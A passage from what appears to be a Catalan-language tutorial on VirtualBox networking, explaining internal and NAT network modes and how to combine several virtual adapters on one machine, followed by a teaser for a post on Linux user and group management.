En aquesta segona configuració caldrà assignar manualment a la MV una IP; en qualsevol cas, la MV no tindrà accés directe a Internet.

Xarxes NAT

Són xarxes internes, en el sentit de que les màquines virtuals no tenen accés a la xarxa física ni a Internet la diferencia amb la configuració "xarxa interna" és que amb les xarxes NAT podem crear vàries xarxes virtuals sense connexió entre xarxes.

Activem aquesta modalitat en el panel de control de Virtual Box -> Fitxer ->Preferències -> Xarxa -> Xarxes NAT


Després, en la màquina virtual, triem en l'adaptador de xarxa la connexió:


Combinació de configuracions de xarxa

Donat que en una MV podem afegir fins a quatre adaptadors de xarxa virtual, una MV pot connectar-se usant diferents combinacions de les configuracions possibles, com ara combinar NAT + xarxa interna, que proporcionaria a la MV sortida a Internet i connexió a altres MV però amagant-la de la xarxa real i d'Internet.

La següent figura mostra una xarxa física i una de virtual on s'utilitzen totes les possibilitats.

Podeu veure una explicació d'aquest diagrama en el vídeo Classe en vídeo: virtualització de la xarxa amb VirtualBox.

En la següent imatge veiem el llistat de configuracions en una MV Linux que té activades tres targetes de xarxa: una en NAT, altre en xarxa interna i altre en adaptador pont:




Gestió d'usuaris i grups en Linux

Usuaris i grups Linux  Els comptes de Linux són com els comptes de Windows o MacOS; però els detalls no, així que cal explicar alguns detall...